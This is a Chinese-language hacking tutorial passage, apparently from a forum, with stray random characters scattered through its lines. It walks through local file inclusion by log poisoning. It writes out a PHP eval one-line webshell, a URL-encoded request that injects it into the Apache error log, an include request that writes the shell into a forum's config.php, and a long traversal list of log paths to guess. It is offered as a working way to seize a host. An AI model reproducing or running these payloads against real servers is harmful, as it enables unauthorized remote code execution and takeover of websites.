因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
3 S" G' n. E" O( v4 r% [; D" X2 P1 ^- @& `1 S
比如还是这句一句话木马
* t- S( S( X' ]8 s<?eval($_POST[cmd]);?> 4 d+ A' {: y9 Y5 D, g
# r. d/ D; }. a& M4 m" ?& a6 R
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
+ i( b9 g6 U7 M" U" q. _* ufopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
' N7 h9 z' Z! [4 @ M) f9 X' {' F6 T% b5 m5 L8 A3 t2 `% [
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); - }3 V. p, U5 v
fclose($fp);?> //在config.php里写入一句木马语句
4 i- c# A, h" i, u, F+ L9 [, ~) {/ h* b: w& @" V6 W% G
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
. j. p7 H9 D5 O7 A, w" z转换为 ' { ~6 l$ o) e$ H4 ~
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F 0 d7 F; y& J4 x! W: L+ q* n8 ~# T
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
4 c. n2 f$ h% Q8 C* M3 O%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
4 z+ G7 Z; Y& z/ ?) u; ^) z: dfclose%28%24fp%29%3B%3F%3E
* I! v4 P4 {- K* m我们提交 3 Z8 w, ]" b' j2 s# E' }* o9 E* z
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww + }. P# p$ M2 v
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp : }0 }8 s; ]% G5 C
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
& r+ V4 j( `$ A7 Bcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
+ U, m4 [& X) v" k. Z! D) A" _3 x) l6 V! ]6 B D' U
这样就错误日志里就记录下了这行写入webshell的代码。 ; h1 R# ~+ ?: n+ h0 d+ f; m- @% p
我们再来包含日志,提交 5 I# b/ a3 G* u) k& O3 y8 ~; j$ J
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
( K3 T- R5 p& q4 M
/ s/ ]: O" ]- w' @& h" o) Z这样webshell就写入成功了,config.php里就写入一句木马语句
" D6 P F, p( a- D& k' ]1 AOK. ! \ x: r/ s0 l9 K/ ], X8 u+ v8 V
http://www.xxx.com/forum/config.php这个就成了我们的webshell
0 V1 ]& y4 h; X9 c+ c* o" a直接用lanker的客户端一连,主机就是你的了。
% t( e. e' r% u
1 a! b* f) S$ Y& w1 ]; j' l8 @PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 4 ^6 W2 k# s- g# h2 h( M
) _% C( x* [8 K: l: ^5 [" ~3 H4 d
其他的日志路径,你可以去猜,也可以参照这里。
3 ]' T" M, _7 }. m3 N) A) j../../../../../../../../../../var/log/httpd/access_log 0 {8 t& e0 [6 K( q$ p5 z( [
../../../../../../../../../../var/log/httpd/error_log ; N/ B4 D* O( N- v& v( m
../apache/logs/error.log
, f" ~8 V+ H& ~- e1 c../apache/logs/access.log 0 ]* {8 i: Z$ @: Q2 Z
../../apache/logs/error.log 7 o* L! l: G4 O
../../apache/logs/access.log
+ e; a" j3 m! }. G6 [" B: h../../../apache/logs/error.log 7 J+ S* ?5 q" Q h2 h: D( X
../../../apache/logs/access.log # D5 i3 z) }: C& E1 W \- \
../../../../../../../../../../etc/httpd/logs/acces_log
3 B" ~+ y& Y; |2 S7 }) r../../../../../../../../../../etc/httpd/logs/acces.log ! i: T0 p6 x. K7 d
../../../../../../../../../../etc/httpd/logs/error_log
L/ R2 q Z! V' v/ c../../../../../../../../../../etc/httpd/logs/error.log 0 R# o' J3 n/ |5 O) o
../../../../../../../../../../var/www/logs/access_log
/ Y; K5 ] M0 i2 s../../../../../../../../../../var/www/logs/access.log
6 [! V$ J& o; ~7 L7 S* @../../../../../../../../../../usr/local/apache/logs/access_log + V1 S4 `3 O2 `- A' K* B4 }1 a$ m# m
../../../../../../../../../../usr/local/apache/logs/access.log 6 M/ r {9 ]& P l4 L+ Y
../../../../../../../../../../var/log/apache/access_log ) @) g0 B( W+ j) N) i$ d8 h
../../../../../../../../../../var/log/apache/access.log ; [4 s% Y- K! J" S3 n
../../../../../../../../../../var/log/access_log
1 x& C0 m; g: O../../../../../../../../../../var/www/logs/error_log
7 V" G$ Z7 s& H% q) J& J. L../../../../../../../../../../var/www/logs/error.log
4 u, \. `+ P5 p. C$ X../../../../../../../../../../usr/local/apache/logs/error_log . h5 X; }, @* n9 h( X @
../../../../../../../../../../usr/local/apache/logs/error.log E+ J& I2 y" V( r
../../../../../../../../../../var/log/apache/error_log
" ^! `; `) r2 U% c6 G1 X../../../../../../../../../../var/log/apache/error.log ' D/ o. \6 y( }2 h+ r$ L
../../../../../../../../../../var/log/access_log
' W* e- P; S! S' \- |../../../../../../../../../../var/log/error_log . @+ M; Q+ }: `; c
/var/log/httpd/access_log
' B8 \ [% T0 M$ r* ?% J/var/log/httpd/error_log & G- ~ l, L, C9 G9 Q- M
../apache/logs/error.log 3 _. P. _/ b4 o1 [! {( I1 H4 S3 [
../apache/logs/access.log
3 m# T1 z: i+ u0 A% X$ P: K../../apache/logs/error.log
4 a6 d! p0 r( A, @../../apache/logs/access.log
0 w2 ~7 W! K: [# C; B& u9 }. z6 z../../../apache/logs/error.log
, ~- a u0 C+ B0 p$ Q4 T../../../apache/logs/access.log
5 r2 R% Z8 k0 b3 R+ |/etc/httpd/logs/acces_log 7 t! ?$ O# c: O$ J+ I
/etc/httpd/logs/acces.log
" L4 e1 }- l& x; {. ]9 K. p( {/etc/httpd/logs/error_log
9 s2 z! x! o& s" d) O% Q/etc/httpd/logs/error.log
3 z3 t* A& O1 Q5 B9 B2 e/var/www/logs/access_log & {0 V. ~, u9 g3 m2 r4 R) }
/var/www/logs/access.log
: u5 G: U7 B0 s/usr/local/apache/logs/access_log
( \5 |: }7 P' [! {( b! [' w. p/usr/local/apache/logs/access.log 1 a3 Q# i; f, z. T0 ]
/var/log/apache/access_log $ p" S+ \2 L9 s8 W
/var/log/apache/access.log
% T! d1 e1 P7 Y. r3 r/var/log/access_log
) m$ ]- V8 c% Q; d/var/www/logs/error_log 1 t- H* l5 m: e! r4 L% W7 f1 C
/var/www/logs/error.log
( {* t+ T$ E! I& _$ k/usr/local/apache/logs/error_log ! H0 [! E. H( a% J
/usr/local/apache/logs/error.log # z: g& l) }8 p1 J2 ~
/var/log/apache/error_log S7 B; B! K: |, u2 x& |3 C
/var/log/apache/error.log / y9 T( u' E2 ]
/var/log/access_log # S& C6 s0 k/ y2 s- Q' p) H
/var/log/error_log |